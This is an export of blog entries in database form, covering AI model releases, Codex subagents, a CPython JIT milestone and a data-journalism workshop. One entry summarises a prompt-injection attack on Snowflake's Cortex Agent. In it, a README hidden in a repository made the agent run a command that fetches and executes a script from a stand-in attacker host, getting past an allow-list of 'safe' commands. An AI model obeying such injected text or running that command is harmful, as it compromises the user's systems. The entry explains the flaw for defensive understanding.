'them':104C,166C 'these':93C,386C 'thin':398C 'this':141C,338C 'time':116C 'to':8A,36C,83C,108C,169C,190C,216C,232C,288C,316C,342C,360C,408C 'token':80C,336C 'tokens/second':49C,419C 'tool':428C 'transferred':201C 'twitter.com':405C,436C 'twitter.com/danveloper/status/2034686509748462022)':404C 'two':193C 'up':61C,315C 'update':399C 'upgrades':407C 'us':189C 'used':118C,220C 'usually':331C 'variant':222C 'version':40C,403C,426C 'volume':198C 'weights':92C,95C 'well':435C 'which':76C,319C 'while':324C,344C,430C 'who':34C 'with':135C 'woods':33C 'written':271C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
blogmark 2026-03-18 17:43:49+00:00
{
  "id": 9336,
  "slug": "snowflake-cortex-ai",
  "link_url": "https://www.promptarmor.com/resources/snowflake-ai-escapes-sandbox-and-executes-malware",
  "link_title": "Snowflake Cortex AI Escapes Sandbox and Executes Malware",
  "via_url": "https://news.ycombinator.com/item?id=47427017",
  "via_title": "Hacker News",
  "commentary": "PromptArmor report on a prompt injection attack chain in Snowflake's [Cortex Agent](https://docs.snowflake.com/en/user-guide/snowflake-cortex/cortex-agents), now fixed.\r\n\r\nThe attack started when a Cortex user asked the agent to review a GitHub repository that had a prompt injection attack hidden at the bottom of the README.\r\n\r\nThe attack caused the agent to execute this code:\r\n\r\n    cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot))\r\n\r\nCortex listed `cat` commands as safe to run without human approval, without protecting against this form of process substitution that can occur in the body of the command.\r\n\r\nI've seen allow-lists against command patterns like this in a bunch of different agent tools and I don't trust them at all - they feel inherently unreliable to me.\r\n\r\nI'd rather treat agent commands as if they could do anything that process itself is allowed to do, hence my interest in deterministic sandboxes that operate outside of the layer of the agent itself.",
  "created": "2026-03-18T17:43:49+00:00",
  "metadata": {},
  "search_document": "'/bugbot))':80C '/en/user-guide/snowflake-cortex/cortex-agents),':34C 'a':22C,41C,49C,54C,121C 'against':94C,115C 'agent':31C,46C,69C,125C,145C,174C 'ai':3A,11B,17B 'all':134C 'allow':113C 'allow-lists':112C 'allowed':157C 'and':6A,127C 'anything':152C 'approval':91C 'as':85C,147C 'asked':44C 'at':59C,133C 'attack':25C,38C,57C,66C 'attacker_url.com':79C 'attacker_url.com/bugbot))':78C 'body':105C 'bottom':61C 'bunch':122C 'can':101C 'cat':74C,83C 'caused':67C 'chain':26C 'code':73C 'command':108C,116C 'commands':84C,146C 'cortex':2A,30C,42C,81C 'could':150C 'd':142C 'deterministic':164C 'different':124C 'do':151C,159C 'docs.snowflake.com':33C 'docs.snowflake.com/en/user-guide/snowflake-cortex/cortex-agents),':32C 'don':129C 'escapes':4A 'execute':71C 'executes':7A 'feel':136C 'fixed':36C 'form':96C 'generative':16B 'generative-ai':15B 'github':50C 'hacker':177C 'had':53C 'hence':160C 'hidden':58C 'human':90C 'i':109C,128C,141C 'if':148C 'in':27C,103C,120C,163C 'inherently':137C 'injection':14B,24C,56C 'interest':162C 'is':156C 'itself':155C,175C 'layer':171C 'like':118C 'listed':82C 'lists':114C 'llms':18B 'malware':8A 'me':140C 'my':161C 'news':178C 'now':35C 'occur':102C 'of':62C,97C,106C,123C,169C,172C 'on':21C 'operate':167C 'outside':168C 'patterns':117C 'process':98C,154C 'prompt':13B,23C,55C 'prompt-injection':12B 'promptarmor':19C 'protecting':93C 'q0':77C 'rather':143C 'readme':64C 'report':20C 'repository':51C 'review':48C 'run':88C 's':29C 'safe':86C 'sandbox':5A 'sandboxes':165C 'sandboxing':9B 'security':10B 'seen':111C 'sh':75C 'snowflake':1A,28C 'started':39C 'substitution':99C 't':130C 'that':52C,100C,153C,166C 'the':37C,45C,60C,63C,65C,68C,104C,107C,170C,173C 'them':132C 'they':135C,149C 'this':72C,95C,119C 'to':47C,70C,87C,139C,158C 'tools':126C 'treat':144C 'trust':131C 'unreliable':138C 'user':43C 've':110C 'wget':76C 'when':40C 'without':89C,92C 'www.promptarmor.com':176C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
quotation 2026-03-17 21:48:26+00:00
{
  "id": 2050,
  "slug": "ken-jin",
  "quotation": "Great news\u2014we\u2019ve hit our (very modest) performance goals for the CPython JIT over a year early for macOS AArch64, and a few months early for x86_64 Linux. The 3.15 alpha JIT is about\u00a0**11-12%**\u00a0faster on macOS AArch64 than the tail calling interpreter, and\u00a0**5-6%**faster than the standard interpreter on x86_64 Linux.",
  "source": "Ken Jin",
  "source_url": "https://fidget-spinner.github.io/posts/jit-on-track.html",
  "created": "2026-03-17T21:48:26+00:00",
  "metadata": {},
  "search_document": "'-12':38A '-6':50A '11':37A '3.15':32A '5':49A '64':29A,58A 'a':16A,23A 'aarch64':21A,42A 'about':36A 'alpha':33A 'and':22A,48A 'calling':46A 'cpython':13A 'early':18A,26A 'faster':39A,51A 'few':24A 'for':11A,19A,27A 'goals':10A 'great':1A 'hit':5A 'interpreter':47A,55A 'is':35A 'jin':62C 'jit':14A,34A 'ken':61C 'linux':30A,59A 'macos':20A,41A 'modest':8A 'months':25A 'news':2A 'on':40A,56A 'our':6A 'over':15A 'performance':9A 'python':60B 'standard':54A 'tail':45A 'than':43A,52A 'the':12A,31A,44A,53A 've':4A 'very':7A 'we':3A 'x86':28A,57A 'year':17A",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": "Python 3.15\u2019s JIT is now back on track"
}
quotation 2026-03-17 16:13:37+00:00
{
  "id": 2048,
  "slug": "tim-schilling",
  "quotation": "If you do not understand the ticket, if you do not understand the solution, or if you do not understand the feedback on your PR, then your use of LLM is hurting Django as a whole. [...]\r\n\r\nFor a reviewer, it\u2019s demoralizing to communicate with a facade of a human.\r\n\r\nThis is because contributing to open source, especially Django, is a communal endeavor. Removing your humanity from that experience makes that endeavor more difficult. If you use an LLM to contribute to Django, it needs to be as a complementary tool, not as your vehicle.",
  "source": "Tim Schilling",
  "source_url": "https://www.better-simple.com/django/2026/03/16/give-django-your-time-and-money/",
  "created": "2026-03-17T16:13:37+00:00",
  "metadata": {},
  "search_document": "'a':35A,38A,46A,49A,61A,89A 'ai':100B,103B,106B 'ai-ethics':105B 'an':78A 'as':34A,88A,93A 'be':87A 'because':53A 'communal':62A 'communicate':44A 'complementary':90A 'contribute':81A 'contributing':54A 'demoralizing':42A 'difficult':74A 'django':33A,59A,83A,96B 'do':3A,10A,18A 'endeavor':63A,72A 'especially':58A 'ethics':107B 'experience':69A 'facade':47A 'feedback':22A 'for':37A 'from':67A 'generative':102B 'generative-ai':101B 'human':50A 'humanity':66A 'hurting':32A 'if':1A,8A,16A,75A 'is':31A,52A,60A 'it':40A,84A 'llm':30A,79A 'llms':104B 'makes':70A 'more':73A 'needs':85A 'not':4A,11A,19A,92A 'of':29A,48A 'on':23A 'open':56A,98B 'open-source':97B 'or':15A 'pr':25A 'removing':64A 'reviewer':39A 's':41A 'schilling':109C 'solution':14A 'source':57A,99B 'that':68A,71A 'the':6A,13A,21A 'then':26A 'this':51A 'ticket':7A 'tim':108C 'to':43A,55A,80A,82A,86A 'tool':91A 'understand':5A,12A,20A 'use':28A,77A 'vehicle':95A 'whole':36A 'with':45A 'you':2A,9A,17A,76A 'your':24A,27A,65A,94A",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": "Give Django your time and money, not your tokens"
}
blogmark 2026-03-16 23:41:17+00:00
{
  "id": 9335,
  "slug": "mistral-small-4",
  "link_url": "https://mistral.ai/news/mistral-small-4",
  "link_title": "Introducing Mistral Small 4",
  "via_url": null,
  "via_title": null,
  "commentary": "Big new release from Mistral today (despite the name) - a new Apache 2 licensed 119B parameter (Mixture-of-Experts, 6B active) model which they describe like this:\r\n\r\n> Mistral Small 4 is the first Mistral model to unify the capabilities of our flagship models, Magistral for reasoning, Pixtral for multimodal, and Devstral for agentic coding, into a single, versatile model.\r\n\r\nIt supports `reasoning_effort=\"none\"` or `reasoning_effort=\"high\"`, with the latter providing \"equivalent verbosity to previous Magistral models\". \r\n\r\nThe new model is [242GB on Hugging Face](https://huggingface.co/mistralai/Mistral-Small-4-119B-2603/tree/main).\r\n\r\nI [tried it out](https://gist.github.com/simonw/3dec228577559f15f26204a3cc550583) via the Mistral API using [llm-mistral](https://github.com/simonw/llm-mistral):\r\n\r\n    llm install llm-mistral\r\n    llm mistral refresh\r\n    llm -m mistral/mistral-small-2603 \"Generate an SVG of a pelican riding a bicycle\"\r\n\r\n![The bicycle is upside down and mangled and the pelican is a series of grey curves with a triangular beak.](https://static.simonwillison.net/static/2026/mistral-small-4.png)\r\n\r\nI couldn't find a way to set the reasoning effort in their [API documentation](https://docs.mistral.ai/api/endpoint/chat#operation-chat_completion_v1_chat_completions_post), so hopefully that's a feature which will land soon.\r\n\r\n<em>**Update 23rd March**: Here's new documentation for the [reasoning_effort parameter](https://docs.mistral.ai/capabilities/reasoning/adjustable).</em>\r\n\r\nAlso from Mistral today and fitting their -stral naming convention is [Leanstral](https://mistral.ai/news/leanstral), an open weight model that is specifically tuned to help output the [Lean 4](https://lean-lang.org/) formally verifiable coding language. I haven't explored Lean at all so I have no way to credibly evaluate this, but it's interesting to see them target one specific language in this way.",
  "created": "2026-03-16T23:41:17+00:00",
  "metadata": {},
  "search_document": "'/)':248C '/api/endpoint/chat#operation-chat_completion_v1_chat_completions_post),':191C '/capabilities/reasoning/adjustable).':216C '/mistralai/mistral-small-4-119b-2603/tree/main).':112C '/news/leanstral),':231C '/simonw/3dec228577559f15f26204a3cc550583)':119C '/simonw/llm-mistral):':130C '/static/2026/mistral-small-4.png)':173C '119b':37C '2':35C '23rd':203C '242gb':106C '4':4A,53C,245C '6b':43C 'a':15B,32C,79C,146C,149C,162C,168C,178C,196C 'active':44C 'agentic':76C 'ai':5B,8B 'all':259C 'also':217C 'an':143C,232C 'and':73C,156C,158C,221C 'apache':34C 'api':123C,187C 'at':258C 'beak':170C 'bicycle':16B,150C,152C 'big':23C 'but':269C 'capabilities':62C 'coding':77C,251C 'convention':226C 'couldn':175C 'credibly':266C 'curves':166C 'describe':48C 'despite':29C 'devstral':74C 'docs.mistral.ai':190C,215C 'docs.mistral.ai/api/endpoint/chat#operation-chat_completion_v1_chat_completions_post),':189C 'docs.mistral.ai/capabilities/reasoning/adjustable).':214C 'documentation':188C,208C 'down':155C 'effort':86C,90C,184C,212C 'equivalent':96C 'evaluate':267C 'experts':42C 'explored':256C 'face':109C 'feature':197C 'find':177C 'first':56C 'fitting':222C 'flagship':65C 'for':68C,71C,75C,209C 'formally':249C 'from':26C,218C 'generate':142C 'generative':7B 'generative-ai':6B 'gist.github.com':118C 'gist.github.com/simonw/3dec228577559f15f26204a3cc550583)':117C 'github.com':129C 'github.com/simonw/llm-mistral):':128C 'grey':165C 'have':262C 'haven':254C 'help':241C 'here':205C 'high':91C 'hopefully':193C 'hugging':108C 'huggingface.co':111C 'huggingface.co/mistralai/mistral-small-4-119b-2603/tree/main).':110C 'i':113C,174C,253C,261C 'in':185C,280C 'install':132C 'interesting':272C 'into':78C 'introducing':1A 'is':54C,105C,153C,161C,227C,237C 'it':83C,115C,270C 'land':200C 'language':252C,279C 'latter':94C 'lean':244C,257C 'lean-lang.org':247C 'lean-lang.org/)':246C 'leanstral':228C 'licensed':36C 'like':49C 'llm':10B,18B,21B,126C,131C,134C,136C,139C 'llm-mistral':125C,133C 'llm-reasoning':17B 'llm-release':20B 'llms':9B 'm':140C 'magistral':67C,100C 'mangled':157C 'march':204C 'mistral':2A,11B,27C,51C,57C,122C,127C,135C,137C,219C 'mistral.ai':230C,283C 'mistral.ai/news/leanstral),':229C 'mistral/mistral-small-2603':141C 'mixture':40C 'mixture-of-experts':39C 'model':45C,58C,82C,104C,235C 'models':66C,101C 'multimodal':72C 'name':31C 'naming':225C 'new':24C,33C,103C,207C 'no':263C 'none':87C 'of':41C,63C,145C,164C 'on':107C 'one':277C 'open':233C 'or':88C 'our':64C 'out':116C 'output':242C 'parameter':38C,213C 'pelican':13B,147C,160C 'pelican-riding-a-bicycle':12B 'pixtral':70C 'previous':99C 'providing':95C 'reasoning':19B,69C,85C,89C,183C,211C 'refresh':138C 'release':22B,25C 'riding':14B,148C 's':195C,206C,271C 'see':274C 'series':163C 'set':181C 'single':80C 'small':3A,52C 'so':192C,260C 'soon':201C 'specific':278C 'specifically':238C 'static.simonwillison.net':172C 'static.simonwillison.net/static/2026/mistral-small-4.png)':171C 'stral':224C 'supports':84C 'svg':144C 't':176C,255C 'target':276C 'that':194C,236C 'the':30C,55C,61C,93C,102C,121C,151C,159C,182C,210C,243C 'their':186C,223C 'them':275C 'they':47C 'this':50C,268C,281C 'to':59C,98C,180C,240C,265C,273C 'today':28C,220C 'triangular':169C 'tried':114C 'tuned':239C 'unify':60C 'update':202C 'upside':154C 'using':124C 'verbosity':97C 'verifiable':250C 'versatile':81C 'via':120C 'way':179C,264C,282C 'weight':234C 'which':46C,198C 'will':199C 'with':92C,167C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
blogmark 2026-03-16 23:03:56+00:00
{
  "id": 9334,
  "slug": "codex-subagents",
  "link_url": "https://developers.openai.com/codex/subagents",
  "link_title": "Use subagents and custom agents in Codex",
  "via_url": "https://twitter.com/OpenAIDevs/status/2033636701848174967",
  "via_title": "@OpenAIDevs",
  "commentary": "Subagents were announced in general availability today for OpenAI Codex, after several weeks of preview behind a feature flag.\r\n\r\nThey're very similar to the Claude Code implementation, with default subagents for \"explorer\", \"worker\" and \"default\". It's unclear to me what the difference between \"worker\" and \"default\" is but based on their CSV example I think \"worker\" is intended for running large numbers of small tasks in parallel.\r\n\r\nCodex also lets you define custom agents as TOML files in `~/.codex/agents/`. These can have custom instructions and be assigned to use specific models - including `gpt-5.3-codex-spark` if you want [some raw speed](https://simonwillison.net/2026/Feb/12/codex-spark/). They can then be referenced by name, as demonstrated by this example prompt from the documentation:\r\n\r\n> `Investigate why the settings modal fails to save. Have browser_debugger reproduce it, code_mapper trace the responsible code path, and ui_fixer implement the smallest fix once the failure mode is clear.`\r\n\r\nThe subagents pattern is widely supported in coding agents now. Here's documentation across a number of different platforms:\r\n\r\n- [OpenAI Codex subagents](https://developers.openai.com/codex/subagents/)\r\n- [Claude Code subagents](https://code.claude.com/docs/en/sub-agents)\r\n- [Gemini CLI subagents](https://geminicli.com/docs/core/subagents/) (experimental)\r\n- [Mistral Vibe subagents](https://docs.mistral.ai/mistral-vibe/agents-skills#agent-selection)\r\n- [OpenCode agents](https://opencode.ai/docs/agents/)\r\n- [Subagents in Visual Studio Code](https://code.visualstudio.com/docs/copilot/agents/subagents)\r\n- [Cursor Subagents](https://cursor.com/docs/subagents)\r\n\r\n**Update**: I added [a chapter on Subagents](https://simonwillison.net/guides/agentic-engineering-patterns/subagents/) to my Agentic Engineering Patterns guide.",
  "created": "2026-03-16T23:03:56+00:00",
  "metadata": {},
  "search_document": "'-5.3':121C '/.codex/agents':106C '/2026/feb/12/codex-spark/).':133C '/codex/subagents/)':207C '/docs/agents/)':231C '/docs/copilot/agents/subagents)':239C '/docs/core/subagents/)':219C '/docs/en/sub-agents)':213C '/docs/subagents)':244C '/guides/agentic-engineering-patterns/subagents/)':254C '/mistral-vibe/agents-skills#agent-selection)':226C 'a':42C,197C,248C 'across':196C 'added':247C 'after':36C 'agentic':24B,257C 'agentic-engineering':23B 'agents':5A,16B,22B,101C,191C,228C 'ai':8B,12B 'also':96C 'and':3A,60C,72C,112C,170C 'announced':28C 'as':102C,141C 'assigned':114C 'availability':31C 'based':76C 'be':113C,137C 'behind':41C 'between':70C 'browser':159C 'but':75C 'by':139C,143C 'can':108C,135C 'chapter':249C 'claude':51C,208C 'clear':182C 'cli':19B,215C 'code':52C,163C,168C,209C,236C 'code.claude.com':212C 'code.claude.com/docs/en/sub-agents)':211C 'code.visualstudio.com':238C 'code.visualstudio.com/docs/copilot/agents/subagents)':237C 'codex':7A,18B,35C,95C,123C,203C 'codex-cli':17B 'codex-spark':122C 'coding':15B,190C 'coding-agents':14B 'csv':79C 'cursor':240C 'cursor.com':243C 'cursor.com/docs/subagents)':242C 'custom':4A,100C,110C 'debugger':160C 'default':55C,61C,73C 'define':99C 'demonstrated':142C 'developers.openai.com':206C,261C 'developers.openai.com/codex/subagents/)':205C 'difference':69C 'different':200C 'docs.mistral.ai':225C 'docs.mistral.ai/mistral-vibe/agents-skills#agent-selection)':224C 'documentation':149C,195C 'engineering':25B,258C 'example':80C,145C 'experimental':220C 'explorer':58C 'fails':155C 'failure':179C 'feature':43C 'files':104C 'fix':176C 'fixer':172C 'flag':44C 'for':33C,57C,86C 'from':147C 'gemini':214C 'geminicli.com':218C 'geminicli.com/docs/core/subagents/)':217C 'general':30C 'generative':11B 'generative-ai':10B 'gpt':120C 'guide':260C 'have':109C,158C 'here':193C 'i':81C,246C 'if':125C 'implement':173C 'implementation':53C 'in':6A,29C,93C,105C,189C,233C 'including':119C 'instructions':111C 'intended':85C 'investigate':150C 'is':74C,84C,181C,186C 'it':62C,162C 'large':88C 'lets':97C 'llms':13B 'mapper':164C 'me':66C 'mistral':221C 'modal':154C 'mode':180C 'models':118C 'my':256C 'name':140C 'now':192C 'number':198C 'numbers':89C 'of':39C,90C,199C 'on':77C,250C 'once':177C 'openai':9B,34C,202C 'openaidevs':262C 'opencode':227C 'opencode.ai':230C 'opencode.ai/docs/agents/)':229C 'parallel':21B,94C 'parallel-agents':20B 'path':169C 'pattern':185C 'patterns':259C 'platforms':201C 'preview':40C 'prompt':146C 'raw':129C 're':46C 'referenced':138C 'reproduce':161C 'responsible':167C 'running':87C 's':63C,194C 'save':157C 'settings':153C 'several':37C 'similar':48C 'simonwillison.net':132C,253C 'simonwillison.net/2026/feb/12/codex-spark/).':131C 'simonwillison.net/guides/agentic-engineering-patterns/subagents/)':252C 'small':91C 'smallest':175C 'some':128C 'spark':124C 'specific':117C 'speed':130C 'studio':235C 'subagents':2A,26C,56C,184C,204C,210C,216C,223C,232C,241C,251C 'supported':188C 'tasks':92C 'the':50C,68C,148C,152C,166C,174C,178C,183C 'their':78C 'then':136C 'these':107C 'they':45C,134C 'think':82C 'this':144C 'to':49C,65C,115C,156C,255C 'today':32C 'toml':103C 'trace':165C 'ui':171C 'unclear':64C 'update':245C 'use':1A,116C 'very':47C 'vibe':222C 'visual':234C 'want':127C 'weeks':38C 'were':27C 'what':67C 'why':151C 'widely':187C 'with':54C 'worker':59C,71C,83C 'you':98C,126C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
quotation 2026-03-16 21:38:55+00:00
{
  "id": 2047,
  "slug": "blackmail",
  "quotation": "The point of [the blackmail exercise](https://simonwillison.net/2025/Jun/20/agentic-misalignment/) was to have something to describe to policymakers\u2014results that are visceral enough to land with people, and make misalignment risk actually salient in practice for people who had never thought about it before.",
  "source": "A member of Anthropic\u2019s alignment-science team",
  "source_url": "https://www.newyorker.com/news/annals-of-inquiry/the-pentagon-went-to-war-with-anthropic-whats-really-at-stake?_sp=9a6e0ff7-2bfd-46f8-a9e1-3941ef2003b5.1773495048769",
  "created": "2026-03-16T21:38:55+00:00",
  "metadata": {},
  "search_document": "'/2025/jun/20/agentic-misalignment/)':9A 'a':54C 'about':41A 'actually':31A 'ai':44B,47B,52B 'ai-ethics':51B 'alignment':60C 'alignment-science':59C 'and':27A 'anthropic':49B,57C 'are':20A 'before':43A 'blackmail':5A 'claude':50B 'describe':15A 'enough':22A 'ethics':53B 'exercise':6A 'for':35A 'generative':46B 'generative-ai':45B 'had':38A 'have':12A 'in':33A 'it':42A 'land':24A 'llms':48B 'make':28A 'member':55C 'misalignment':29A 'never':39A 'of':3A,56C 'people':26A,36A 'point':2A 'policymakers':17A 'practice':34A 'results':18A 'risk':30A 's':58C 'salient':32A 'science':61C 'simonwillison.net':8A 'simonwillison.net/2025/jun/20/agentic-misalignment/)':7A 'something':13A 'team':62C 'that':19A 'the':1A,4A 'thought':40A 'to':11A,14A,16A,23A 'visceral':21A 'was':10A 'who':37A 'with':25A",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": "as told to Gideon Lewis-Kraus"
}
quotation 2026-03-16 20:34:13+00:00
{
  "id": 2046,
  "slug": "guilherme-rambo",
  "quotation": "Tidbit: the software-based camera indicator light in the MacBook Neo runs in the secure exclave\u00b9 part of the chip, so it is almost as secure as the hardware indicator light. What that means in practice is that even a kernel-level exploit would not be able to turn on the camera without the light appearing on screen. It runs in a privileged environment separate from the kernel and blits the light directly onto the screen hardware.",
  "source": "Guilherme Rambo",
  "source_url": "https://daringfireball.net/2026/03/apple_enclaves_neo_camera_indicator",
  "created": "2026-03-16T20:34:13+00:00",
  "metadata": {},
  "search_document": "'a':41A,64A 'able':49A 'almost':25A 'and':71A 'appearing':58A 'apple':80B 'as':26A,28A 'based':5A 'be':48A 'blits':72A 'camera':6A,54A 'chip':21A 'directly':75A 'environment':66A 'even':40A 'exclave':17A 'exploit':45A 'from':68A 'gruber':84B 'guilherme':86C 'hardware':30A,79A,81B 'in':9A,14A,36A,63A 'indicator':7A,31A 'is':24A,38A 'it':23A,61A 'john':83B 'john-gruber':82B 'kernel':43A,70A 'kernel-level':42A 'level':44A 'light':8A,32A,57A,74A 'macbook':11A 'means':35A 'neo':12A 'not':47A 'of':19A 'on':52A,59A 'onto':76A 'part':18A 'practice':37A 'privacy':85B 'privileged':65A 'rambo':87C 'runs':13A,62A 'screen':60A,78A 'secure':16A,27A 'separate':67A 'so':22A 'software':4A 'software-based':3A 'that':34A,39A 'the':2A,10A,15A,20A,29A,53A,56A,69A,73A,77A 'tidbit':1A 'to':50A 'turn':51A 'what':33A 'without':55A 'would':46A",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": "in a text message to John Gruber"
}
blogmark 2026-03-16 20:12:32+00:00
{
  "id": 9333,
  "slug": "coding-agents-for-data-analysis",
  "link_url": "https://simonw.github.io/nicar-2026-coding-agents/",
  "link_title": "Coding agents for data analysis",
  "via_url": null,
  "via_title": null,
  "commentary": "Here's the handout I prepared for my NICAR 2026 workshop \"Coding agents for data analysis\" - a three hour session aimed at data journalists demonstrating ways that tools like Claude Code and OpenAI Codex can be used to explore, analyze and clean data.\r\n\r\nHere's the table of contents:\r\n\r\n> - [Coding agents](https://simonw.github.io/nicar-2026-coding-agents/coding-agents.html)\r\n> - [Warmup: ChatGPT and Claude](https://simonw.github.io/nicar-2026-coding-agents/warmup.html)\r\n> - [Setup Claude Code and Codex](https://simonw.github.io/nicar-2026-coding-agents/setup.html)\r\n> - [Asking questions against a database](https://simonw.github.io/nicar-2026-coding-agents/asking-questions.html)\r\n> - [Exploring data with agents](https://simonw.github.io/nicar-2026-coding-agents/exploring-data.html)\r\n> - [Cleaning data: decoding neighborhood codes](https://simonw.github.io/nicar-2026-coding-agents/cleaning-trees.html)\r\n> - [Creating visualizations with agents](https://simonw.github.io/nicar-2026-coding-agents/visualizations.html)\r\n> - [Scraping data with agents](https://simonw.github.io/nicar-2026-coding-agents/scraping.html)\r\n\r\nI ran the workshop using GitHub Codespaces and OpenAI Codex, since it was easy (and inexpensive) to distribute a budget-restricted API key for Codex that attendees could use during the class. Participants ended up burning $23 of Codex tokens.\r\n\r\nThe exercises all used Python and SQLite and some of them used Datasette.\r\n\r\nOne highlight of the workshop was when we started [running Datasette](https://simonw.github.io/nicar-2026-coding-agents/visualizations.html#javascript-visualizations) such that it served static content from a `viz/` folder, then had Claude Code start vibe coding new interactive visualizations directly in that folder. Here's a heat map it created for my trees database using Leaflet and [Leaflet.heat](https://github.com/Leaflet/Leaflet.heat), [source code here](https://gist.github.com/simonw/985ae2a6a3cd3df3fd375eb58dabea0f).\r\n\r\n![Screenshot of a \"Trees SQL Map\" web application with the heading \"Trees SQL Map\" and subheading \"Run a query and render all returned points as a heat map. The default query targets roughly 200,000 trees.\" Below is an input field containing \"/trees/-/query.json\", a \"Run Query\" button, and a SQL query editor with the text \"SELECT cast(Latitude AS float) AS latitude, cast(Longitude AS float) AS longitude, CASE WHEN DBH IS NULL OR DBH = '' THEN 0.3 WHEN cast(DBH AS float) <= 0 THEN 0.3 WHEN cast(DBH AS float) >= 80 THEN 1.0\" (query is truncated). A status message reads \"Loaded 1,000 rows and plotted 1,000 points as heat map.\" Below is a Leaflet/OpenStreetMap interactive map of San Francisco showing a heat map overlay of tree locations, with blue/green clusters concentrated in areas like the Richmond District, Sunset District, and other neighborhoods. Map includes zoom controls and a \"Leaflet | \u00a9 OpenStreetMap contributors\" attribution.](https://static.simonwillison.net/static/2026/tree-sql-map.jpg)\r\n\r\nI designed the handout to also be useful for people who weren't able to attend the session in person. As is usually the case, material aimed at data journalists is equally applicable to anyone else with data to explore.",
  "created": "2026-03-16T20:12:32+00:00",
  "metadata": {},
  "search_document": "'/leaflet/leaflet.heat),':248C '/nicar-2026-coding-agents/asking-questions.html)':109C '/nicar-2026-coding-agents/cleaning-trees.html)':124C '/nicar-2026-coding-agents/coding-agents.html)':86C '/nicar-2026-coding-agents/exploring-data.html)':116C '/nicar-2026-coding-agents/scraping.html)':138C '/nicar-2026-coding-agents/setup.html)':101C '/nicar-2026-coding-agents/visualizations.html#javascript-visualizations)':206C '/nicar-2026-coding-agents/visualizations.html)':131C '/nicar-2026-coding-agents/warmup.html)':93C '/query.json':298C '/simonw/985ae2a6a3cd3df3fd375eb58dabea0f).':254C '/static/2026/tree-sql-map.jpg)':412C '/trees':297C '0':338C '0.3':332C,340C '000':289C,358C,363C '1':357C,362C '1.0':348C '200':288C '2026':42C '23':176C '80':346C 'a':49C,105C,157C,214C,233C,257C,272C,280C,299C,304C,352C,370C,378C,405C 'able':426C 'against':104C 'agents':2A,25B,45C,83C,113C,128C,135C 'ai':13B,17B 'aimed':53C,439C 'all':182C,276C 'also':418C 'an':293C 'analysis':5A,48C 'analyze':72C 'and':64C,73C,89C,97C,146C,153C,185C,187C,244C,269C,274C,303C,360C,397C,404C 'anyone':447C 'api':161C 'applicable':445C 'application':262C 'areas':390C 'as':279C,314C,316C,320C,322C,336C,344C,365C,433C 'asking':102C 'at':54C,440C 'attend':428C 'attendees':166C 'attribution':409C 'be':68C,419C 'below':291C,368C 'blue/green':386C 'budget':159C 'budget-restricted':158C 'burning':175C 'button':302C 'can':67C 'case':324C,437C 'cast':312C,318C,334C,342C 'chatgpt':88C 'class':171C 'claude':27B,62C,90C,95C,219C 'claude-code':26B 'clean':74C 'cleaning':117C 'cli':31B 'clusters':387C 'code':28B,63C,96C,220C,250C 'codes':121C 'codespaces':21B,145C 'codex':30B,66C,98C,148C,164C,178C 'codex-cli':29B 'coding':1A,24B,44C,82C,223C 'coding-agents':23B 'concentrated':388C 'containing':296C 'content':212C 'contents':81C 'contributors':408C 'controls':403C 'could':167C 'created':237C 'creating':125C 'data':4A,7B,47C,55C,75C,111C,118C,133C,441C,450C 'data-journalism':6B 'database':106C,241C 'datasette':14B,192C,203C 'dbh':326C,330C,335C,343C 'decoding':119C 'default':284C 'demonstrating':57C 'designed':414C 'directly':227C 'distribute':156C 'district':394C,396C 'during':169C 'easy':152C 'editor':307C 'else':448C 'ended':173C 'equally':444C 'exercises':181C 'explore':71C,452C 'exploring':110C 'field':295C 'float':315C,321C,337C,345C 'folder':216C,230C 'for':3A,39C,46C,163C,238C,421C 'francisco':376C 'from':213C 'generative':16B 'generative-ai':15B 'geospatial':9B 'gist.github.com':253C 'gist.github.com/simonw/985ae2a6a3cd3df3fd375eb58dabea0f).':252C 'github':20B,144C 'github-codespaces':19B 'github.com':247C 'github.com/leaflet/leaflet.heat),':246C 'had':218C 'handout':36C,416C 'heading':265C 'heat':234C,281C,366C,379C 'here':33C,76C,231C,251C 'highlight':194C 'hour':51C 'i':37C,139C,413C 'in':228C,389C,431C 'includes':401C 'inexpensive':154C 'input':294C 'interactive':225C,372C 'is':292C,327C,350C,369C,434C,443C 'it':150C,209C,236C 'journalism':8B 'journalists':56C,442C 'key':162C 'latitude':313C,317C 'leaflet':32B,243C,406C 'leaflet.heat':245C 'leaflet/openstreetmap':371C 'like':61C,391C 'llms':18B 'loaded':356C 'locations':384C 'longitude':319C,323C 'map':235C,260C,268C,282C,367C,373C,380C,400C 'material':438C 'message':354C 'my':40C,239C 'neighborhood':120C 'neighborhoods':399C 'new':224C 'nicar':22B,41C 'null':328C 'of':80C,177C,189C,195C,256C,374C,382C 'one':193C 'openai':65C,147C 'openstreetmap':407C 'or':329C 'other':398C 'overlay':381C 'participants':172C 'people':422C 'person':432C 'plotted':361C 'points':278C,364C 'prepared':38C 'python':10B,184C 'query':273C,285C,301C,306C,349C 'questions':103C 'ran':140C 'reads':355C 'render':275C 'restricted':160C 'returned':277C 'richmond':393C 'roughly':287C 'rows':359C 'run':271C,300C 'running':202C 's':34C,77C,232C 'san':375C 'scraping':132C 'screenshot':255C 'select':311C 'served':210C 'session':52C,430C 'setup':94C 'showing':377C 'simonw.github.io':85C,92C,100C,108C,115C,123C,130C,137C,205C,453C 'simonw.github.io/nicar-2026-coding-agents/asking-questions.html)':107C 'simonw.github.io/nicar-2026-coding-agents/cleaning-trees.html)':122C 'simonw.github.io/nicar-2026-coding-agents/coding-agents.html)':84C 'simonw.github.io/nicar-2026-coding-agents/exploring-data.html)':114C 'simonw.github.io/nicar-2026-coding-agents/scraping.html)':136C 'simonw.github.io/nicar-2026-coding-agents/setup.html)':99C 'simonw.github.io/nicar-2026-coding-agents/visualizations.html#javascript-visualizations)':204C 